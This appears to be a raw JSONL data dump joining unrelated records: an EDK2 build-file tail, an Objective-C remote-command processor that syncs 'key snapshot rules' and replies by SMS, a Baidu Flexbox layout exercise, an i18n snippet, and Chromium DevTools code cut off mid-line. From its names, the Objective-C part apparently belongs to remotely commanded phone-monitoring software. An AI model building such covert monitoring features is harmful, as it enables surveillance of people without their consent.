MSFT\n\n Ia32/CpuSleep.asm | INTEL\n Ia32/CpuFlushTlb.asm | INTEL\n\n Ia32/CpuSleepGcc.c | GCC\n Ia32/CpuFlushTlbGcc.c | GCC\n\n[Sources.X64]\n X64/CpuFlushTlb.asm\n X64/CpuSleep.asm\n\n X64/CpuSleep.S | GCC\n X64/CpuFlushTlb.S | GCC\n\n[Sources.IPF]\n Ipf/CpuFlushTlb.s\n Ipf/CpuSleep.c\n\n[Sources.EBC]\n Ebc/CpuSleepFlushTlb.c\n\n[Sources.ARM]\n Arm/CpuFlushTlb.asm | RVCT\n Arm/CpuSleep.asm | RVCT\n Arm/CpuFlushTlb.S | GCC\n Arm/CpuSleep.S | GCC\n\n[Sources.AARCH64]\n AArch64/CpuFlushTlb.S | GCC\n AArch64/CpuSleep.S | GCC\n\n[Packages]\n MdePkg/MdePkg.dec\n\n\n[LibraryClasses.IPF]\n PalLib\n BaseLib\n\n"} -{"text": "//\n// SyncSnapshotRulesProcessor.m\n// RCM\n//\n// Created by Benjawan Tanarattanakorn on 11/15/13.\n// Copyright (c) 2013 __MyCompanyName__. All rights reserved.\n//\n\n#import \"SyncSnapshotRulesProcessor.h\"\n#import \"KeySnapShotRuleManager.h\"\n#import \"KeySnapShotRuleManagerImpl.h\"\n\n\n\n@interface SyncSnapshotRulesProcessor (PrivateAPI)\n- (void) processSyncSnapshotRules;\n- (void) syncSnapshotRulesException;\n- (void) acknowldgeMessage;\n- (void) sendReplySMS: (NSString *) aReplyMessage isProcessCompleted: (BOOL) aIsComplete; \n- (void) processFinished;\n@end\n\n\n\n@implementation SyncSnapshotRulesProcessor\n\n/**\n - Method name: initWithRemoteCommandData:andCommandProcessingDelegate\n - Purpose:This method is used to initialize the SyncSnapshotRulesProcessor class\n - Argument list and description: aRemoteCmdData (RemoteCmdData),aRemoteCmdProcessingDelegate (RemoteCmdProcessingDelegate)\n - Return description: self (SyncSnapshotRulesProcessor).\n */\n\n- (id) initWithRemoteCommandData: (RemoteCmdData *) aRemoteCmdData \n\tandCommandProcessingDelegate: (id ) aRemoteCmdProcessingDelegate {\n DLog (@\"SyncSnapshotRulesProcessor--->initWithRemoteCommandData\")\n\tif ((self = [super initWithRemoteCommandData:aRemoteCmdData andCommandProcessingDelegate:aRemoteCmdProcessingDelegate])) {\n\t}\n\treturn self;\n}\n\n\n\n#pragma mark SyncSnapshotRulesProcessor Methods\n\n\n\n/**\n - Method name: doProcessingCommand\n - Purpose:This method is used to process the SyncSnapshotRulesProcessor\n - Argument list and description:No Argument \n - Return description: No return type\n */\n\n- (void) doProcessingCommand {\n\tDLog (@\"SyncSnapshotRulesProcessor--->doProcessingCommand\")\n\t[self processSyncSnapshotRules];\n}\n\n\n\n#pragma mark SyncSnapshotRulesProcessor Private Methods\n\n\n\n/**\n - Method name: processSyncSnapshotRules\n - Purpose:This method is used to process sync time\n - Argument list and description: No Argument\n - Return description: No return type\n */\n\n\n- (void) processSyncSnapshotRules {\n\tDLog (@\"SyncSnapshotRulesProcessor--->processSyncSnapshotRules\")\n\t\n id keySnapShotRuleMgr = [[RemoteCmdUtils sharedRemoteCmdUtils] mKeySnapShotRuleManager];\n \n\tBOOL isReady = [keySnapShotRuleMgr requestGetSnapShotRules:self];\n \n if (!isReady) { \n\t\tDLog (@\"!!! not ready to process SyncSnapshotRules command\")\n\t\t[self syncSnapshotRulesException];\n\t}\n\telse {\n\t\tDLog (@\".... processing SyncSnapshotRules command\")\n\t\t[self acknowldgeMessage];\n\t}\n}\n\n/**\n - Method name:\t\t\tsyncSnapshotRulesException\n - Purpose:\t\t\t\tThis method is invoked when it fails to sync Snapshot Rules\n - Argument list and description:\tNo Return Type\n - Return description:\tNo Argument\n */\n- (void) syncSnapshotRulesException {\n\tDLog (@\"SyncSnapshotRulesProcessor ---> syncSnapshotRulesException\");\n\tFxException* exception = [FxException exceptionWithName:@\"syncSnapshotRulesException\" andReason:@\"Sync Snapshot Rules error\"];\n\t[exception setErrorCode:kKeySnapShotRuleManagerBusyToSyncSnapShotRules];\n\t[exception setErrorCategory:kFxErrorRCM]; \n\t@throw exception;\n}\n\n/**\n - Method name: acknowldgeMessage\n - Purpose:This method is used to prepare acknowldge message\n - Argument list and description:No Argument \n - Return description:No Return\n */\n\n- (void) acknowldgeMessage {\n DLog (@\"SyncSnapshotRulesProcessor--->acknowldgeMessage\")\n\tNSString *messageFormat =[[RemoteCmdUtils sharedRemoteCmdUtils] replyMessageFormatWithCommandCode:[self remoteCmdCode]\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t andErrorCode:_SUCCESS_];\n\tNSString *ackMessage=[ messageFormat stringByAppendingString:NSLocalizedString(@\"kSyncSnapshotRulesMSG1\", @\"\")];\n\t[self sendReplySMS:ackMessage isProcessCompleted:NO];\n}\n\n/**\n - Method name: sendReplySMS\n - Purpose:This method is used to send the SMS reply\n - Argument list and description: aStatusCode (NSUInteger)\n - Return description: No return type\n */\n\n- (void) sendReplySMS: (NSString *) aReplyMessage isProcessCompleted: (BOOL) aIsComplete {\n\tDLog (@\"SyncSnapshotRulesProcessor--->sendReplySMS...\")\n\t[[RemoteCmdUtils sharedRemoteCmdUtils] createSystemEvent:mRemoteCmdData\n\t\t\t\t\t\t\t\t\t\t\t andReplyMessage:aReplyMessage];\n\tif ([mRemoteCmdData mIsSMSReplyRequired]) {\n\t [[RemoteCmdUtils sharedRemoteCmdUtils] sendSMSWithRecipientNumber:[self recipientNumber] \n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t andMessage:aReplyMessage];\n\t}\n\tif (aIsComplete) {\n\t\t[self processFinished];\n\t} else {\n\t\tDLog (@\"Sent aknowldge message.\")\n\t}\n}\n\n/**\n - Method name: processFinished\n - Purpose:This method is invoked when sync time process is completed\n - Argument list and description:No Argument \n - Return description:isValidArguments (BOOL)\n */\n\n-(void) processFinished {\n\tDLog (@\"SyncSnapshotRulesProcessor--->processFinished\")\n\tif ([mRemoteCmdProcessingDelegate respondsToSelector:@selector(proccessFinishedWithProcessor:andRemoteCmdData:)]) {\n\t\t[mRemoteCmdProcessingDelegate performSelector:@selector(proccessFinishedWithProcessor:andRemoteCmdData:) withObject:self withObject:mRemoteCmdData];\n\t}\n}\n\n\n\n#pragma mark SnapShotRuleRequestDelegate Delegate Methods\n\n\n\n/**\n - Method name: requestSnapShotRulesCompleted\n - Purpose:This method is invoked when sync snapshot rules is delivered successfully\n - Argument list and description:No Argument\n - Return description: No return type\n */\n\n- (void) requestSnapShotRulesCompleted: (NSError *) aError {\n \n\tNSString *messageFormat = [[RemoteCmdUtils sharedRemoteCmdUtils] replyMessageFormatWithCommandCode:[self remoteCmdCode]\n andErrorCode:_SUCCESS_];\n\tNSString *replyMessage = [messageFormat stringByAppendingString:NSLocalizedString(@\"kSyncSnapshotRulesMSG2\", @\"\")];\n\t\n \t[self sendReplySMS:replyMessage isProcessCompleted:YES];\n}\n\n/**\n - Method name: dealloc\n - Purpose:This method is used to Handle Memory managment\n - Argument list and description:No Argument\n - Return description: No Return Type\n */\n\n-(void) dealloc {\n\tDLog (@\"SyncSnapshotRulesProcessor is now dealloced\")\n\t[super dealloc];\n}\n\n@end\n"} -{"text": "\u4efb\u52a1\u5341\uff1aFlexbox \u5e03\u5c40\u7ec3\u4e60\n===\n**\u9762\u5411\u4eba\u7fa4\uff1a** \u6709\u4e00\u5b9aHTML\u53caCSS\u57fa\u7840\u7684\u540c\u5b66\n\n**\u96be\u5ea6\uff1a** \u4e2d\n\n\u91cd\u8981\u8bf4\u660e\n---\n\u767e\u5ea6\u524d\u7aef\u6280\u672f\u5b66\u9662\u7684\u8bfe\u7a0b\u4efb\u52a1\u662f\u7531\u767e\u5ea6\u524d\u7aef\u5de5\u7a0b\u5e08\u4e13\u4e3a\u5bf9\u524d\u7aef\u4e0d\u540c\u638c\u63e1\u7a0b\u5ea6\u7684\u540c\u5b66\u8bbe\u8ba1\u3002\u6211\u4eec\u5c3d\u529b\u4fdd\u8bc1\u8bfe\u7a0b\u5185\u5bb9\u7684\u8d28\u91cf\u4ee5\u53ca\u5b66\u4e60\u96be\u5ea6\u7684\u5408\u7406\u6027\uff0c\u4f46\u5373\u4f7f\u5982\u6b64\uff0c\u771f\u6b63\u51b3\u5b9a\u8bfe\u7a0b\u6548\u679c\u7684\uff0c\u8fd8\u662f\u4f60\u7684\u6bcf\u4e00\u6b21\u601d\u8003\u548c\u5b9e\u8df5\u3002\n\n\u8bfe\u7a0b\u591a\u6570\u9898\u76ee\u7684\u89e3\u51b3\u65b9\u6848\u90fd\u4e0d\u662f\u552f\u4e00\u7684\uff0c\u8fd9\u548c\u6211\u4eec\u5728\u5b9e\u9645\u5de5\u4f5c\u4e2d\u7684\u60c5\u51b5\u4e5f\u662f\u4e00\u81f4\u7684\u3002\u56e0\u6b64\uff0c\u6211\u4eec\u7684\u8981\u6c42\u4e0d\u4ec5\u4ec5\u662f\u5b9e\u73b0\u8bbe\u8ba1\u7a3f\u7684\u6548\u679c\uff0c\u66f4\u662f\u8981\u591a\u53bb\u601d\u8003\u4e0d\u540c\u7684\u89e3\u51b3\u65b9\u6848\uff0c\u8bc4\u4f30\u4e0d\u540c\u65b9\u6848\u7684\u4f18\u52a3\uff0c\u7136\u540e\u4f7f\u7528\u5728\u8be5\u573a\u666f\u4e0b\u6700\u4f18\u96c5\u7684\u65b9\u5f0f\u53bb\u5b9e\u73b0\u3002\u90a3\u4e9b\u6700\u7ec8\u6ca1\u6709\u88ab\u6211\u4eec\u91c7\u7eb3\u7684\u65b9\u6848\uff0c\u540c\u6837\u4e5f\u53ef\u4ee5\u5e2e\u52a9\u6211\u4eec\u5b66\u5230\u5f88\u591a\u77e5\u8bc6\u3002\u6240\u4ee5\uff0c\u6211\u4eec\u5217\u51fa\u7684\u53c2\u8003\u8d44\u6599\u672a\u5fc5\u662f\u5b9e\u73b0\u9700\u6c42\u6240\u5fc5\u987b\u7684\u3002\u6709\u7684\u65f6\u5019\uff0c\u5b9e\u73b0\u9898\u76ee\u7684\u8981\u6c42\u5f88\u7b80\u5355\uff0c\u751a\u81f3\u53c2\u8003\u8d44\u6599\u91cc\u5c31\u6709\uff0c\u4f46\u662f\u80cc\u540e\u7684\u601d\u8003\u548c\u4eb2\u624b\u53bb\u5b9e\u8df5\u5374\u662f\u4efb\u52a1\u6700\u5173\u952e\u7684\u4e00\u90e8\u5206\u3002\u5728\u5b66\u4e60\u8fd9\u4e9b\u8d44\u6599\u65f6\uff0c\u8981\u591a\u601d\u8003\uff0c\u591a\u63d0\u95ee\uff0c\u591a\u8d28\u7591\u3002\u76f8\u4fe1\u901a\u8fc7\u548c\u5c0f\u4f19\u4f34\u4eec\u7684\u4ea4\u6d41\uff0c\u80fd\u8ba9\u4f60\u7684\u5b66\u4e60\u4e8b\u534a\u529f\u500d\u3002\n\n\u4efb\u52a1\u76ee\u7684\n---\n* \u5b66\u4e60\u5982\u4f55flex\u8fdb\u884c\u5e03\u5c40\uff0c\u5b66\u4e60\u5982\u4f55\u6839\u636e\u5c4f\u5e55\u5bbd\u5ea6\u8c03\u6574\u5e03\u5c40\u7b56\u7565\u3002\n\n\u4efb\u52a1\u63cf\u8ff0\n---\n* \u9700\u8981\u5b9e\u73b0\u7684\u6548\u679c\u5982\u6548\u679c\u56fe[\u70b9\u51fb\u6253\u5f00](http://7xrp04.com1.z0.glb.clouddn.com/task_1_10_1.png)\u6240\u793a\uff0c\u8c03\u6574\u6d4f\u89c8\u5668\u5bbd\u5ea6\u67e5\u770b\u54cd\u5e94\u5f0f\u6548\u679c\uff0c\u7ea2\u8272\u7684\u6587\u5b57\u662f\u8bf4\u660e\uff0c\u4e0d\u9700\u8981\u5199\u5728 HTML \u4e2d\u3002\n\n\n\u4efb\u52a1\u6ce8\u610f\u4e8b\u9879\n---\n* \u53ea\u9700\u8981\u5b8c\u6210HTML\uff0cCSS\u4ee3\u7801\u7f16\u5199\uff0c\u4e0d\u9700\u8981\u5199JavaScript\n* \u5c4f\u5e55\u5bbd\u5ea6\u5c0f\u4e8e 640px \u65f6\uff0c\u8c03\u6574 Flexbox \u7684\u5c5e\u6027\u4ee5\u5b9e\u73b0\u7b2c\u56db\u4e2a\u5143\u7d20\u79fb\u52a8\u5230\u6700\u524d\u9762\u7684\u6548\u679c\uff0c\u800c\u4e0d\u8981\u6539\u52a8\u7b2c\u4e00\u4e2a\u5143\u7d20\u7684\u8fb9\u6846\u989c\u8272\u4e0e\u9ad8\u5ea6\u5b9e\u73b0\u6548\u679c\u56fe\u3002\n* \u601d\u8003 Flexbox \u5e03\u5c40\u548c\u7f51\u683c\u5e03\u5c40\u7684\u5f02\u540c\uff0c\u4ee5\u53ca\u5206\u522b\u9002\u7528\u4e8e\u4ec0\u4e48\u6837\u7684\u573a\u666f\u3002\u53ef\u4ee5\u641c\u7d22\u4e00\u4e0b\u522b\u4eba\u7684\u7ed3\u8bba\uff0c\u4e0d\u8fc7\u8981\u4fdd\u6301\u601d\u8fa8\u7684\u6001\u5ea6\uff0c\u4e0d\u53ef\u76f4\u63a5\u63a5\u53d7\u522b\u4eba\u7684\u89c2\u70b9\u3002\n* HTML \u53ca CSS \u4ee3\u7801\u7ed3\u6784\u6e05\u6670\u3001\u89c4\u8303\n\n\u4efb\u52a1\u534f\u4f5c\u5efa\u8bae\n---\n* \u56e2\u961f\u96c6\u4e2d\u8ba8\u8bba\uff0c\u660e\u786e\u9898\u76ee\u8981\u6c42\uff0c\u4fdd\u8bc1\u961f\u4f0d\u5404\u81ea\u5bf9\u9898\u76ee\u8981\u6c42\u8ba4\u77e5\u4e00\u81f4\n* \u5404\u81ea\u5b8c\u6210\u4efb\u52a1\u5b9e\u8df5\n* \u4ea4\u53c9\u4e92\u76f8Review\u5176\u4ed6\u4eba\u7684\u4ee3\u7801\uff0c\u5efa\u8bae\u6bcf\u4e2a\u4eba\u81f3\u5c11\u770b\u4e00\u4e2a\u540c\u7ec4\u961f\u53cb\u7684\u4ee3\u7801\n* \u76f8\u4e92\u8ba8\u8bba\uff0c\u6700\u540e\u5408\u6210\u4e00\u4efd\u7ec4\u5185\u6700\u4f73\u4ee3\u7801\u8fdb\u884c\u63d0\u4ea4\n\n\u5728\u7ebf\u5b66\u4e60\u53c2\u8003\u8d44\u6599\n---\n* (Flexbox\u8be6\u89e3)[https://segmentfault.com/a/1190000002910324]\uff1a\u4e86\u89e3 Flexbox \u5c5e\u6027\u7684\u542b\u4e49\n* (\u56fe\u89e3 CSS3 Flexbox \u5c5e\u6027)[https://web.tutorialonfree.com/tu-jie-css3-flexboxshu-xing/]\uff1a\u770b\u5b8c\u8fd9\u4e24\u7bc7\uff0c\u5bf9 Flexbox \u7684\u4e86\u89e3\u5c31\u591f\u4e86\uff0c\u591a\u5b9e\u8df5\u4e00\u4e0b\uff0c\u7406\u89e3\u4f1a\u66f4\u6df1\u523b\n* (Flexbox\u2014\u2014\u5feb\u901f\u5e03\u5c40\u795e\u5668)[http://www.w3cplus.com/css3/flexbox-basics.html]\n* (\u4f7f\u7528 CSS \u5f39\u6027\u76d2)[https://developer.mozilla.org/zh-CN/docs/Web/CSS/CSS_Flexible_Box_Layout/Using_CSS_flexible_boxes]\n* (MDN flex\u5c5e\u6027)[https://developer.mozilla.org/zh-CN/docs/Web/CSS/flex]\n\n\u4efb\u52a1\u94fe\u63a5\n---\nhttp://ife.baidu.com/task/detail?taskId=10\n"} -{"text": "import i18n from '../../managers/i18n'\n\ni18n.register(\n 'en-US',\n {\n done: 'Done',\n error: 'Error'\n },\n {\n ns: 'progress'\n }\n)\n"} -{"text": "// Copyright 2014 The Chromium Authors. All rights reserved.\n// Use of this source code is governed by a BSD-style license that can be\n// found in the LICENSE file.\n\n/**\n * @constructor\n * @implements {WebInspector.TabbedEditorContainerDelegate}\n * @implements {WebInspector.Searchable}\n * @implements {WebInspector.Replaceable}\n * @extends {WebInspector.VBox}\n * @param {!WebInspector.Workspace} workspace\n * @param {!WebInspector.SourcesPanel} sourcesPanel\n * @suppressGlobalPropertiesCheck\n */\nWebInspector.SourcesView = function(workspace, sourcesPanel)\n{\n WebInspector.VBox.call(this);\n this.registerRequiredCSS(\"sources/sourcesView.css\");\n this.element.id = \"sources-panel-sources-view\";\n this.setMinimumAndPreferredSizes(50, 52, 150, 100);\n\n this._workspace = workspace;\n this._sourcesPanel = sourcesPanel;\n\n this._searchableView = new WebInspector.SearchableView(this, \"sourcesViewSearchConfig\");\n this._searchableView.setMinimalSearchQuerySize(0);\n this._searchableView.show(this.element);\n\n /** @type {!Map.} */\n this._sourceFramesByUISourceCode = new Map();\n\n var tabbedEditorPlaceholderText = WebInspector.isMac() ? WebInspector.UIString(\"Hit Cmd+P to open a file\") : WebInspector.UIString(\"Hit Ctrl+P to open a file\");\n this._editorContainer = new WebInspector.TabbedEditorContainer(this, WebInspector.settings.createLocalSetting(\"previouslyViewedFiles\", []), tabbedEditorPlaceholderText);\n this._editorContainer.show(this._searchableView.element);\n this._editorContainer.addEventListener(WebInspector.TabbedEditorContainer.Events.EditorSelected, this._editorSelected, this);\n this._editorContainer.addEventListener(WebInspector.TabbedEditorContainer.Events.EditorClosed, this._editorClosed, this);\n\n this._historyManager = new WebInspector.EditingLocationHistoryManager(this, this.currentSourceFrame.bind(this));\n\n this._toolbarContainerElement = this.element.createChild(\"div\", \"sources-toolbar\");\n this._toolbarEditorActions = new WebInspector.Toolbar(this._toolbarContainerElement);\n\n self.runtime.instancesPromise(WebInspector.SourcesView.EditorAction).then(appendButtonsForExtensions.bind(this));\n /**\n * @param {!Array.} actions\n * @this {WebInspector.SourcesView}\n */\n function appendButtonsForExtensions(actions)\n {\n for (var i = 0; i < actions.length; ++i)\n this._toolbarEditorActions.appendToolbarItem(actions[i].button(this));\n }\n this._scriptViewToolbarText = new WebInspector.Toolbar(this._toolbarContainerElement);\n\n WebInspector.startBatchUpdate();\n this._workspace.uiSourceCodes().forEach(this._addUISourceCode.bind(this));\n WebInspector.endBatchUpdate();\n\n this._workspace.addEventListener(WebInspector.Workspace.Events.UISourceCodeAdded, this._uiSourceCodeAdded, this);\n this._workspace.addEventListener(WebInspector.Workspace.Events.UISourceCodeRemoved, this._uiSourceCodeRemoved, this);\n this._workspace.addEventListener(WebInspector.Workspace.Events.ProjectRemoved, this._projectRemoved.bind(this), this);\n\n function handleBeforeUnload(event)\n {\n if (event.returnValue)\n return;\n var unsavedSourceCodes = WebInspector.workspace.unsavedSourceCodes();\n if (!unsavedSourceCodes.length)\n return;\n\n event.returnValue = WebInspector.UIString(\"DevTools have unsaved changes that will be permanently lost.\");\n WebInspector.inspectorView.setCurrentPanel(WebInspector.SourcesPanel.instance());\n for (var i = 0; i < unsavedSourceCodes.length; ++i)\n WebInspector.Revealer.reveal(unsavedSourceCodes[i]);\n }\n if (!window.opener)\n window.addEventListener(\"beforeunload\", handleBeforeUnload, true);\n\n this._shortcuts = {};\n this.element.addEventListener(\"keydown\", this._handleKeyDown.bind(this), false);\n}\n\nWebInspector.SourcesView.Events = {\n EditorClosed: \"EditorClosed\",\n EditorSelected: \"EditorSelected\",\n}\n\n/**\n * @param {!WebInspector.UISourceCode} uiSourceCode\n * @return {string}\n */\nWebInspector.SourcesView.uiSourceCodeHighlighterType = function(uiSourceCode)\n{\n var networkContentType = WebInspector.NetworkProject.uiSourceCodeContentType(uiSourceCode);\n if (networkContentType)\n return networkContentType.canonicalMimeType();\n\n var mimeType = WebInspector.ResourceType.mimeTypesForExtensions[uiSourceCode.extension().toLowerCase()];\n return mimeType || uiSourceCode.contentType().canonicalMimeType();\n}\n\nWebInspector.SourcesView.prototype = {\n /**\n * @param {function(!Array., function(!Event=):boolean)} registerShortcutDelegate\n */\n registerShortcuts: function(registerShortcutDelegate)\n {\n /**\n * @this {WebInspector.SourcesView}\n * @param {!Array.} shortcuts\n * @param {function(!Event=):boolean} handler\n */\n function registerShortcut(shortcuts, handler)\n {\n registerShortcutDelegate(shortcuts, handler);\n this._registerShortcuts(shortcuts, handler);\n }\n\n registerShortcut.call(this, WebInspector.ShortcutsScreen.SourcesPanelShortcuts.JumpToPreviousLocation, this._onJumpToPreviousLocation.bind(this));\n registerShortcut.call(this, WebInspector.ShortcutsScreen.SourcesPanelShortcuts.JumpToNextLocation, this._onJumpToNextLocation.bind(this));\n registerShortcut.call(this, WebInspector.ShortcutsScreen.SourcesPanelShortcuts.CloseEditorTab, this._onCloseEditorTab.bind(this));\n registerShortcut.call(this, WebInspector.ShortcutsScreen.SourcesPanelShortcuts.GoToLine, this._showGoToLineDialog.bind(this));\n registerShortcut.call(this, WebInspector.ShortcutsScreen.SourcesPanelShortcuts.GoToMember, this._showOutlineDialog.bind(this));\n registerShortcut.call(this, [WebInspector.KeyboardShortcut.makeDescriptor(\"o\", WebInspector.KeyboardShortcut.Modifiers.CtrlOrMeta | WebInspector.KeyboardShortcut.Modifiers.Shift)], this._showOutlineDialog.bind(this));\n registerShortcut.call(this, WebInspector.ShortcutsScreen.SourcesPanelShortcuts.ToggleBreakpoint, this._toggleBreakpoint.bind(this));\n registerShortcut.call(this, WebInspector.ShortcutsScreen.SourcesPanelShortcuts.Save, this._save.bind(this));\n registerShortcut.call(this, WebInspector.ShortcutsScreen.SourcesPanelShortcuts.SaveAll, this._saveAll.bind(this));\n },\n\n /**\n * @param {!Array.} keys\n * @param {function(!Event=):boolean} handler\n */\n _registerShortcuts: function(keys, handler)\n {\n for (var i = 0; i < keys.length; ++i)\n this._shortcuts[keys[i].key] = handler;\n },\n\n _handleKeyDown: function(event)\n {\n var shortcutKey = WebInspector.KeyboardShortcut.makeKeyFromEvent(event);\n var handler = this._shortcuts[shortcutKey];\n if (handler && handler())\n event.consume(true);\n },\n\n wasShown: function()\n {\n WebInspector.VBox.prototype.wasShown.call(this);\n WebInspector.context.setFlavor(WebInspector.SourcesView, this);\n },\n\n willHide: function()\n {\n WebInspector.context.setFlavor(WebInspector.SourcesView, null);\n WebInspector.VBox.prototype.willHide.call(this);\n },\n\n /**\n * @return {!Element}\n */\n toolbarContainerElement: function()\n {\n return this._toolbarContainerElement;\n },\n\n /**\n * @override\n * @return {!Element}\n */\n defaultFocusedElement: function()\n {\n return this._editorContainer.view.defaultFocusedElement();\n },\n\n /**\n * @return {!WebInspector.SearchableView}\n */\n searchableView: function()\n {\n return this._searchableView;\n },\n\n /**\n * @return {!WebInspector.Widget}\n */\n visibleView: function()\n {\n return this._editorContainer.visibleView;\n },\n\n /**\n * @return {?WebInspector.SourceFrame}\n */\n currentSourceFrame: function()\n {\n var view = this.visibleView();\n if (!(view instanceof WebInspector.SourceFrame))\n return null;\n return /** @type {!WebInspector.SourceFrame} */ (view);\n },\n\n /**\n * @return {?WebInspector.UISourceCode}\n */\n currentUISourceCode: function()\n {\n return this._currentUISourceCode;\n },\n\n /**\n * @param {!Event=} event\n */\n _onCloseEditorTab: function(event)\n {\n var uiSourceCode = this.currentUISourceCode();\n if (!uiSourceCode)\n return false;\n this._editorContainer.closeFile(uiSourceCode);\n return true;\n },\n\n /**\n * @param {!Event=} event\n */\n _onJumpToPreviousLocation: function(event)\n {\n this._historyManager.rollback();\n return true;\n },\n\n /**\n * @param {!Event=} event\n */\n _onJumpToNextLocation: function(event)\n {\n this._historyManager.rollover();\n return true;\n },\n\n /**\n * @param {!WebInspector.Event} event\n */\n _uiSourceCodeAdded: function(event)\n {\n var uiSourceCode = /** @type {!WebInspector.UISourceCode} */ (event.data);\n this._addUISourceCode(uiSourceCode);\n },\n\n /**\n * @param {!WebInspector.UISourceCode} uiSourceCode\n */\n _addUISourceCode: function(uiSourceCode)\n {\n if (uiSourceCode.project().isServiceProject())\n return;\n this._editorContainer.addUISourceCode(uiSourceCode);\n // Replace debugger script-based uiSourceCode with a network-based one.\n var currentUISourceCode = this._currentUISourceCode;\n if (!currentUISourceCode)\n return;\n var networkURL = WebInspector.networkMapping.networkURL(uiSourceCode);\n var currentNetworkURL = WebInspector.networkMapping.networkURL(currentUISourceCode);\n if (currentUISourceCode.project().isServiceProject() && currentUISourceCode !== uiSourceCode && currentNetworkURL === networkURL && networkURL) {\n this._showFile(uiSourceCode);\n this._editorContainer.removeUISourceCode(currentUISourceCode);\n }\n },\n\n _uiSourceCodeRemoved: function(event)\n {\n var uiSourceCode = /** @type {!WebInspector.UISourceCode} */ (event.data);\n this._removeUISourceCodes([uiSourceCode]);\n },\n\n /**\n * @param {!Array.} uiSourceCodes\n */\n _removeUISourceCodes: function(uiSourceCodes)\n {\n this._editorContainer.removeUISourceCodes(uiSourceCodes);\n for (var i = 0; i < uiSourceCodes.length; ++i) {\n this._removeSourceFrame(uiSourceCodes[i]);\n this._historyManager.removeHistoryForSourceCode(uiSourceCodes[i]);\n }\n },\n\n _projectRemoved: function(event)\n {\n var project = event.data;\n var uiSourceCodes = project.uiSourceCodes();\n this._removeUISourceCodes(uiSourceCodes);\n if (project.type() === WebInspector.projectTypes.Network)\n this._editorContainer.reset();\n },\n\n _updateScriptViewToolbarItems: function()\n {\n this._scriptViewToolbarText.removeToolbarItems();\n var sourceFrame = this.currentSourceFrame();\n if (!sourceFrame)\n return;\n\n var toolbarText = sourceFrame.toolbarText();\n this._scriptViewToolbarText.appendToolbarItem(toolbarText);\n },\n\n /**\n * @param {!WebInspector.UISourceCode} uiSourceCode\n * @param {number=} lineNumber 0-based\n * @param {number=} columnNumber\n * @param {boolean=} omitFocus\n * @param {boolean=} omitHighlight\n */\n showSourceLocation: function(uiSourceCode, lineNumber, columnNumber, omitFocus, omitHighlight)\n {\n this._historyManager.updateCurrentState();\n var sourceFrame = this._showFile(uiSourceCode);\n if (typeof lineNumber === \"number\")\n sourceFrame.revealPosition(lineNumber, columnNumber, !omitHighlight);\n this._historyManager.pushNewState();\n if (!omitFocus)\n sourceFrame.focus();\n },\n\n /**\n * @param {!WebInspector.UISourceCode} uiSourceCode\n * @return {!WebInspector.SourceFrame}\n */\n _showFile: function(uiSourceCode)\n {\n var sourceFrame = this._getOrCreateSourceFrame(uiSourceCode);\n if (this._currentUISourceCode === uiSourceCode)\n return sourceFrame;\n\n this._currentUISourceCode = uiSourceCode;\n this._editorContainer.showFile(uiSourceCode);\n this._updateScriptViewToolbarItems();\n return sourceFrame;\n },\n\n /**\n * @param {!WebInspector.UISourceCode} uiSourceCode\n * @return {!WebInspector.UISourceCodeFrame}\n */\n _createSourceFrame: function(uiSourceCode)\n {\n var sourceFrame;\n switch (uiSourceCode.contentType()) {\n case WebInspector.resourceTypes.Script:\n sourceFrame = new WebInspector.JavaScriptSourceFrame(this._sourcesPanel, uiSourceCode);\n break;\n case WebInspector.resourceTypes.Document:\n sourceFrame = new WebInspector.JavaScriptSourceFrame(this._sourcesPanel, uiSourceCode);\n break;\n case WebInspector.resourceTypes.Stylesheet:\n sourceFrame = new WebInspector.CSSSourceFrame(uiSourceCode);\n break;\n default:\n sourceFrame = new WebInspector.UISourceCodeFrame(uiSourceCode);\n break;\n }\n sourceFrame.setHighlighterType(WebInspector.SourcesView.uiSourceCodeHighlighterType(uiSourceCode));\n this._sourceFramesByUISourceCode.set(uiSourceCode, sourceFrame);\n this._historyManager.trackSourceFrameCursorJumps(sourceFrame);\n return sourceFrame;\n },\n\n /**\n * @param {!WebInspector.UISourceCode} uiSourceCode\n * @return {!WebInspector.UISourceCodeFrame}\n */\n _getOrCreateSourceFrame: function(uiSourceCode)\n {\n return this._sourceFramesByUISourceCode.get(uiSourceCode) || this._createSourceFrame(uiSourceCode);\n },\n\n /**\n * @param {!WebInspector.SourceFrame} sourceFrame\n * @param {!WebInspector.UISourceCode} uiSourceCode\n * @return {boolean}\n */\n _sourceFrameMatchesUISourceCode: function(sourceFrame, uiSourceCode)\n {\n switch (uiSourceCode.contentType()) {\n case WebInspector.resourceTypes.Script:\n case WebInspector.resourceTypes.Document:\n return sourceFrame instanceof WebInspector.JavaScriptSourceFrame;\n case WebInspector.resourceTypes.Stylesheet:\n return sourceFrame instanceof WebInspector.CSSSourceFrame;\n default:\n return !(sourceFrame instanceof WebInspector.JavaScriptSourceFrame);\n }\n },\n\n /**\n * @param {!WebInspector.UISourceCode} uiSourceCode\n */\n _recreateSourceFrameIfNeeded: function(uiSourceCode)\n {\n var oldSourceFrame = this._sourceFramesByUISourceCode.get(uiSourceCode);\n if (!oldSourceFrame)\n return;\n if (this._sourceFrameMatchesUISourceCode(oldSourceFrame, uiSourceCode)) {\n oldSourceFrame.setHighlighterType(WebInspector.SourcesView.uiSourceCodeHighlighterType(uiSourceCode));\n } else {\n this._editorContainer.removeUISourceCode(uiSourceCode);\n this._removeSourceFrame(uiSourceCode);\n }\n },\n\n /**\n * @override\n * @param {!WebInspector.UISourceCode} uiSourceCode\n * @return {!WebInspector.UISourceCodeFrame}\n */\n viewForFile: function(uiSourceCode)\n {\n return this._getOrCreateSourceFrame(uiSourceCode);\n },\n\n /**\n * @param {!WebInspector.UISourceCode} uiSourceCode\n */\n _removeSourceFrame: function(uiSourceCode)\n {\n var sourceFrame = this._sourceFramesByUISourceCode.get(uiSourceCode);\n if (!sourceFrame)\n return;\n this._sourceFramesByUISourceCode.remove(uiSourceCode);\n sourceFrame.dispose();\n },\n\n clearCurrentExecutionLine: function()\n {\n if (this._executionSourceFrame)\n this._executionSourceFrame.clearExecutionLine();\n delete this._executionSourceFrame;\n },\n\n /**\n * @param {!WebInspector.UILocation} uiLocation\n */\n setExecutionLocation: function(uiLocation)\n {\n var sourceFrame = this._getOrCreateSourceFrame(uiLocation.uiSourceCode);\n sourceFrame.setExecutionLocation(uiLocation);\n this._executionSourceFrame = sourceFrame;\n },\n\n _editorClosed: function(event)\n {\n var uiSourceCode = /** @type 